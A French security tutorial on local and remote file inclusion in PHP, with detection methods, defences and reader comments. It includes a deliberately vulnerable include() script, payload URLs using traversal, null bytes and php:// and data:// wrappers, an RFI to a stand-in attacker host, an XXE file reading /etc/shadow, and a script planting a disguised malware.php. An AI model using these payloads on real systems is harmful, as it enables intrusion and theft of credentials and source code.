· Tech watch

OWASP / Local-Remote File Inclusion (LFI / RFI)

Dans ce quatrième article de la série consacrée aux failles applicatives, j’aborde les failles LFI et RFI au travers de l’OWASP. Vous découvrirez ces failles et apprendrez à les détecter. Vous verrez enfin les moyens de vous en prémunir.

Introduction

L’objet de l’attaque, comme son nom l’indique, est d’inclure un fichier local (LFI) ou distant (RFI) au sein d’une ressource accessible depuis un SI. L’intérêt est multiple :

Dans le cas d’une LFI, cela permet par exemple :

  • D’accéder au code source de fichiers privés stockés sur le serveur ciblé par l’attaque
  • D’exécuter un script disponible sur le serveur dans un contexte non conventionnel (non prévu par le SI)

Dans le cas d’une RFI, cela permet par exemple :

  • De faire exécuter par l’application un script stocké sur un serveur distant et construit sûr-mesure par le pirate
  • De défigurer le site

Ces types d’attaques sont de moins en moins présentes dans les applications qui sont basées majoritairement sur des framework robustes. Mais ces vulnérabilités existent bel et bien, il est donc intéressant de connaître des méthodes d’attaques pour en mesurer la gravité.

Cette vulnérabilité est aussi couramment appelée “faille d’include” (en rapport avec le nom de la fonction PHP utilisée pour inclure un flux).

Rappel

L’OWASP (Open Web Application Security Project) dispose d’un projet de classification des failles les plus couramment utilisées par des utilisateurs malintentionnés sur Internet. Ce document est accompagné d’une qualification des menaces listées et d’une explication sur l’exploitation.

Ce projet se nomme le “Top Ten » (et sort chaque année si le classement évolue), et est disponible à cette adresse : https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Les failles de types LFI ou RFI sont maintenant si rares qu’elles n’apparaissent même pas dans le Top Ten 2013 de l’OWASP. Le dernier rapport Topten où ces dernières apparaissent date de 2007 et elles se situent en 3ème position, cf : https://www.owasp.org/index.php/Top_10_2007
Sous l’intitulé “Malicious File Execution” : https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution
Mais il est important de connaître cette vulnérabilité car elle fait partie des classiques.

Qualification de la menace


Agent de menace

_

Considérer toute personne externe au SI et en mesure de soumettre des données non fiables au système.



Vecteur d’attaque

Exploitation Simple

Considérer toute entrée utilisateur attendant un flux (stream), fichier, etc.



Vraisemblance de
la vulnérabilité

Peu répandue

Vulnérabilité de moins en moins présente dans les applications récentes qui sont basées majoritairement sur des framework robustes.

Détection de la vulnérabilité


Facile

Les LFI / RFI ont lieu lorsqu’une application inclut dans une page : un flux (stream) ou un fichier qui est défini via une entrée utilisateur.

Impact technique

Sévère

Vol de fichiers, codes sources, défigurer le site, etc. Le script étant développé par l’attaquant, tout est envisageable.


Impact métier

_

Tout dépend de la criticité des ressources privées stockées et de l’impact d’une divulgation de la vulnérabilité

Comment détecter si une entrée utilisateur est vulnérable en PHP ?

Via la configuration PHP

allow_url_open

(cf : http://php.net/allow-url-fopen)

Permet la récupération de ressources distantes si sa valeur vaut “1” ou “On”.
Si sa valeur vaut “0” ou “Off” et que vous utilisez cette fonctionnalité, PHP lèvera une erreur comme :

“Warning : include() : http:// wrapper is disabled in the server configuration by allow_url_fopen=0” […]]“

allow_url_include

(cf : http://php.net/allow-url-include)

Permet l’inclusion de ressources distantes ainsi que le support des wrappers PHP si sa valeur vaut “1” ou “On”.
Si sa valeur vaut “0” ou “Off” et que vous utilisez cette fonctionnalité, PHP lèvera une erreur comme :

“Warning : include() : php:// wrapper is disabled in the server configuration by allow_url_include=0 in […]]“

open_basedir

(cf : http://www.php.net/manual/fr/ini.core.php#ini.open-basedir)

Permet de restreindre les ressources accessibles depuis PHP. Si cette option n’est pas définie, et que votre application est vulnérable au LFI, le risque pour votre SI sera plus important.
Lorsque PHP bloque l’accès à une ressource via cette directive, il lèvera une erreur (type Warning) comme :
“Warning : Unknown : open_basedir restriction in effect”

Via le code applicatif

Audit en boite blanche

Il suffit de regarder chaque occurrence d’appel aux fonctions suivante :

Et vérifier si le paramètre passé à la fonction est directement ou indirectement une entrée utilisateur, si c’est le cas votre application est sûrement vulnérable.

Audit en boite noire

La méthode la plus simple consiste à passer en paramètre une chaîne correspondant à un chemin d’accès (ou path) qui pointera hors du dossier racine du projet web. Ce dossier est configuré dans le virtual host du serveur web. L’intérêt de remonter le plus haut possible dans l’arborescence du système de fichier est de pousser le script à planter.
En prenant le script précédent pour exemple, il suffirait d’injecter dans le paramètre GET page le chemin d’accès suivant :

http://localhost/lfi.php?page=../../../../../

Si le script plante c’est que l’application est très probablement vulnérable ou que le paramètre est filtré.

Les erreurs pouvant être affichées par PHP pourraient être les suivantes :

“failed to open stream : No such file or directory”

Si cette erreur est affichée, la faille est avérée.

Exemples d’attaques

Prédicat : Pour simplifier les exemples qui suivront, nous utiliserons des adresses avec le même séparateur de dossier que celui utilisé sur les systèmes Unix soit “/” au lieu de “\” utilisé sur les solutions de Microsoft.

Pour nos exemples, prenons le script vulnérable aux LFI et aux RFI suivant :

<?php
$page = array_key_exists('page', $_GET) ? $_GET['page'] : null ;
if (!is_null($page)) {
  include($page) ;
} else {
  echo "Aucun page à inclure..." ;
} ?>

Ce script ne fait qu’attendre un paramètre HTTP GET nommé page, qui correspondra à un flux, pour ensuite le rendre dans la page résultante.

Le fichier de configuration php.ini contiendra les directives suivantes :

allow_url_fopen = On
allow_url_include = On

LFI basique

Imaginons qu’il existe un fichier nommé “config.xml” dans un sous-dosssier “database”, il serait possible d’afficher son contenu en appelant la ressource comme il suit :

http://localhost/lfi.php?page=database/config.xml

RFI basique

Au lieu d’inclure un fichier local, il est possible de passer en paramètre une url pointant vers un script malicieux développé par un pirate.

http://localhost/rfi.php?page=http://serveur-pirate.net/exploit.php

Ce script sera récupéré par l’application et exécuté puis rendu dans la page résultante.

RFI avec Data URI

http://localhost/rfi.php?page=data://text/plain;base64,RXhwbG9pdCBEYXRhVVJJIGluY2x1c2lvbg==

Ici la ressource passée en paramètre est un flux de type DataURI où son contenu est défini sous forme d’une chaîne de caractère encodée en base 64.
La chaîne de caractères

RXhwbG9pdCBEYXRhVVJJIGluY2x1c2lvbg==

Correspond au texte suivant : “Exploit DataURI inclusion”. C’est ce texte qui sera affiché après injection.

Remote code execution

Il est possible de faire afficher le retour de la fonction PHP nommée phpinfo() via une LFI, par exemple en utilisant les DataUri avec le “payload” suivant :

PD9waHAgcGhwaW5mbygpOz8+

Cette chaîne de caractères correspond au code PHP suivant (une fois décodée) :

http://localhost/lfi.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B

Remarque : Pour cet exemple, la directive “register_globals” n’a pas besoin d’être activée dans la configuration de PHP pour fonctionner, car le code PHP est contenu dans le flux injecté.

LFI avec “Null bytes”

Pour cet exemple, nous allons complexifier légèrement la manière dont notre script d’exemple va inclure le flux dans la page résultante.
Nous remplacerons “include($page) ;“ par “include($page . “.html”) ;”
Ici, notre développeur fictif souhaitait protéger son script en contraignant au type HTML les ressources pouvant être incluses. Je vais vous montrer que c’est une mauvaise pratique et que cette contrainte ne vous prémunit pas contre une LFI ou une RFI.

En effet, dans n’importe quel langage, une chaîne de caractères se termine par un caractère de fin de chaîne (ou NUL). Ce caractère est représenté en hexadécimal, dans la table ASCII, par la valeur \x00. Via cette valeur (mais “URL encodée”, soit “%00”), nous pouvons forcer l’emplacement où se termine notre chaîne de caractères.
Ainsi, notre 1er exemple de LFI est toujours possible, même avec cette complexification via ce caractère spécial :

http://localhost/lfi.php?page=database/config.xml%00

LFI avec “PHP Wrappers”

La fonctionnalité suivante est généralement assez peu connue dans PHP. En effet, PHP propose une librairie permettant de gérer différents types de flux I/O (appelé aussi “stream”) via un protocole interne nommé “php://”, cf : http://php.net/manual/fr/wrappers.php

PHP Filters

Il est possible d’utiliser certains de ces wrappers comme les “PHP filters” pour récupérer le code source des fichiers souhaités. Via cette technique, il est possible de récupérer le code source de fichiers PHP ! Le risque est donc énorme…

http://localhost/lfi.php?page=php://filter/read=convert.base64-encode/resource=lfi.php

Cet exemple vous permettra d’afficher le contenu du script “lfi.php” encodé en base 64, soit :

PD9waHAgDQokcGFnZSA9IGFycmF5X2tleV9leGlzdHMoJ3BhZ2UnLCAkX0dFVCkgPyAkX0dFVFsncGFnZSddIDogbnVsbCA7DQppZiAoIWlzX251bGwoJHBhZ2UpKQ0Kew0KCWluY2x1ZGUoJHBhZ2UpOw0KfQ0KZWxzZQ0Kew0KCWVjaG8gIkF1Y3VuIHBhZ2Ug4CBpbmNsdXJlLi4uIjsNCn0NCj8+DQo=

Pour récupérer le code source en clair, il suffit seulement d’effectuer le traitement inverse. Si vous n’avez pas les outils pour le faire en local, sachez qu’il en existe de nombreux en ligne, comme par exemple : http://www.base64decode.org/

PHP Inputs

Dans cet exemple, je vais vous monter une autre manière d’inclure un flux dans PHP via le Wrappers : “php://input”.
Comme le souligne la documentation de PHP, il est possible de passer un flux (url encodé) en paramètre HTTP POST (correspondant ici à la charge utile où “payload”) grâce à php://input.

Ci-joint la requête HTTP à effectuer pour exploiter la LFI :

POST http://localhost/lfi.php?page=php://input HTTP/1.0
Host : localhost
Content-Type : application/x-www-form-urlencoded
Content-length : 37
page=Exploit PHP Wrappers php://input

Cette requête à été mise dans un fichier nommé “payload.txt”. Nous avons ensuite utilisé l’outil netcat pour soumettre la requête à notre serveur :

nc localhost 80 < payload.txt 

Voici la réponse du serveur HTTP :

HTTP/1.1 200 OK
Date : Sun, 09 Mar 2014 02:03:26 GMT
Content-Length : 48
Connection : close
Content-Type : text/html
page=Exploit PHP Wrappers php://input

L’inclusion via php://input a donc fonctionné car le contenu de notre variable POST est affiché.

XML External Entity Attack (XXE Attack)

Il est possible d’effectuer une LFI ou RFI depuis un flux XML par le biais d’entité XML, en effet les fonctions PHP suivantes supportent l’utilisation des wrappers :

  • simplexml_load_file()
  • DOMDocument : : load()

Exemple de fichier XML piégé :

<?xml version=”1.0” ?>
<!DOCTYPE ressource[
   <!ENTITY exploit SYSTEM "php://filter/read=convert.base64-decode/resource=http://site-piege/payload">
    <!ENTITY exploit2 SYSTEM "file:///etc/shadow" >
   <!ENTITY exploit3 SYSTEM "http://site-piege/payload2" >
]>
<ressource>&exploit ;&exploit2 ;&exploit3 ;</ressource>

Dans cet exemple l’entité XML “exploit” contiendra le contenu de la ressource “payload” décodée.

Pour en savoir plus sur cette vulnérabilité : https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing

LFI – Shellcoding

Scénario d’attaque

Le but ici sera de profiter d’une faille type LFI & RFI pour écrire sur le serveur un script nuisible forgé sûr-mesure, ce script sera accessible et exécutable depuis l’extérieur et contiendra une code camouflé dans une chaîne encodé une ou plusieurs fois en pour la rendre moins lisible, le tout caché dans un contenu à priori valide et inoffensif.

Prologue explicatif

Il est possible en PHP d’exploiter le comportement de la fonction base64_decode() pour cacher une chaîne de caractères dans un payload (charge utile) forgé sûr-mesure.

Tout d’abord, l’encodage base64 est composé du jeu de caractères suivant (ou alphabet) :

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Si dans une chaine de caractères, passée en paramètre de la fonction base64_decode() contient des caractères non compris dans l’alphabet base64 alors ils seront automatiquement supprimé lors du déchiffrement.

Autre subtilité à connaître, lors du décodage en base64, l’algorithme découpe en bloque de 4 caractères existant dans l’alphabet base64 et les décode bloc par bloc. Ce point est très important pour comprendre la méthode que j’ai utilisé pour construire mon code exécutable.

Passage à l’acte

Voici notre script malintentionné nommé “shellcode.php” :

<?php
$payload='PD9waHAgcGhwaW5mbygpOz8+' ; // base64 encode phpinfo() callback
$bytesStuffing = 'empty' ; // Bits de bourrage
$shellcode = "<?php exit('Acces non autorise blablablabla !') ; ?>" . $bytesStuffing . $payload ;
echo $shellcode ;
file_put_contents("php://filter/write=convert.base64-decode/resource=malware.php",base64_encode($shellcode)) ;
 ?>
 

Remarque : Ce script est hébergé sur le serveur du pirate mais sera exécuté sur le serveur de la victime par le biais d’un RFI pour créer le fichier en apparence inoffensif, comme :
http://localhost/lfi.php?page=http://site-pirate.net/shellcode.php

Le fichier créé sur le serveur de la victime le fichier sera nommé : “malware.php” et contiendra le code suivant :

<?php exit('Acces non autorise blablablabla !') ; ?>emptyPD9waHAgcGhwaW5mbygpOz8+

Comme dit précédemment, il semble inoffensif, la preuve, si on l’exécute comme ceci :
http://localhost/lfi.php?page=malware.php
http://localhost/malware.php

Nous obtenons un résultat sous la forme suivante, à savoir : “Résultat : Acces non autorise blablablabla !”

Pour illustrer l’explication précédente, notre shellcode, avant décodage, est découpé comme ce qui suit :

phpe xitA cces nona utor iseb labl abla blae mpty PD9w aHAg cGhw aW5m bygp Oz8+

Les bits de bourrage servent à s’assurer que notre payload ne soit pas scinder en deux lors du décodage, il faut que toute la chaîne précédente soit découper en bloc complet de 4 caractères (le nombre de bloc n’est pas important) avant d’arriver au payload.

Ainsi, lorsque nous exécutons le script via le filter :

php://filter/read=convert.base64-decode

nous décodons notre chaîne de caractères pour en extraire le code nuisible contenu dans le précédent et ainsi exécuter son payload :

http://localhost/lfi.php?page=php://filter/read=convert.base64-decode/resource=malware.php

Remarque : Le payload une fois décodé ressemble à cela :

^+@qǬں+ǛiZnVr<?php phpinfo() ; ?>

Nous obtenons le résultat de l’appel à la méthode phpinfo() depuis le serveur de la victime, l’attaque est donc un succès.

 

Le comportement de la fonction de décodage en base64 est détaillé dans le document suivant :
 http://www.ptsecurity.ru/ics/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf

Comment se protéger ?

Pour se prémunir des attaques LFI, il n’y a pas d’autre manière que de filtrer et valider les entrées utilisateurs. Il ne faut jamais inclure/exécuter directement une entrée utilisateur !

Pour le cas des RFI, il est possible de désactiver le support en passant la valeur des directives “allow_url_open” et “allow_url_include” à “Off”.

Vous pouvez bloquer l’utilisation des wrappers en installant l’extension Suhosin pour PHP (sauf si “allow_url_include” = “On”).

Les fonctions suivantes renverront “false” si un wrapper est utilisé dans le nom du fichier :

Références, Bibliographie et Webographie

4 commentaires

  1. Merci pour ce post très bien expliqué. Effectivement, les risques sont énormes ! :o

    En imaginant un script utilisant le code suivant :

    include("./pages/".$_GET['page'])

    Le préfixe garantit-il une sécurité contre les streams, ou y a-t-il moyen également de le contourner ?

    1. Tout d’abord, je tenais à m’excuser du temps de réponse, j’ai eu quelques problèmes d’acheminement des notifications de commentaires.

      Merci pour votre remarque, je suis content de savoir que l’article vous ai plu :)

      Comme vous l’avez remarqué, les risques de ce type de vulnérabilité sont énormes.

      Concernant votre exemple de code, vous vous prémunirez en effet des streams type « PHP Wrapper ». Car comme il est spécifié dans la documentation de PHP (cf : http://php.net/manual/fr/wrappers.php) :


      Note: La syntaxe d'URL utilisée pour décrire un gestionnaire est exclusivement de la forme scheme://.... Les syntaxes de la forme scheme:/ et scheme: ne sont pas supportées.

      Une injection type « php://… » ne sera donc plus possible.
      Toutefois, cela n’empêche pas les attaque type « Directory traversal », cf : https://www.owasp.org/index.php/Path_Traversal

      Il est donc préférable de ne jamais insérer directement d’entrées utilisateurs en paramètre d’une fonction vulnérable sous peine de créer un vecteur d’attaque.

  2. JChistophe Div

    Bonjour,
    Merci pour votre formidable article.

    Dans la partie LFI shellcoding, je souhaiterai savoir pourquoi l’on « déguise » shellcode.php, pourquoi ne pas le faire exécuter en tant que tel (phpinfo()) ?
    Pour des raisons de discrétion ?

    Merci.

    1. Bonjour M. JChistophe Div,

      Un grand merci pour votre commentaire.

      Pour répondre à votre question, il n’est jamais trop tard :)

      En effet, il serait possible de faire exécuter phpinfo() directement par shellcode.php, mais je souhaitais ajouter un énième étape pour cacher le code qui sera réellement exécuté via la RFI et ainsi rendre la compréhension de l’attaque « plus complexe ».

      Bonne journée à vous.

Les commentaires sont désormais fermés.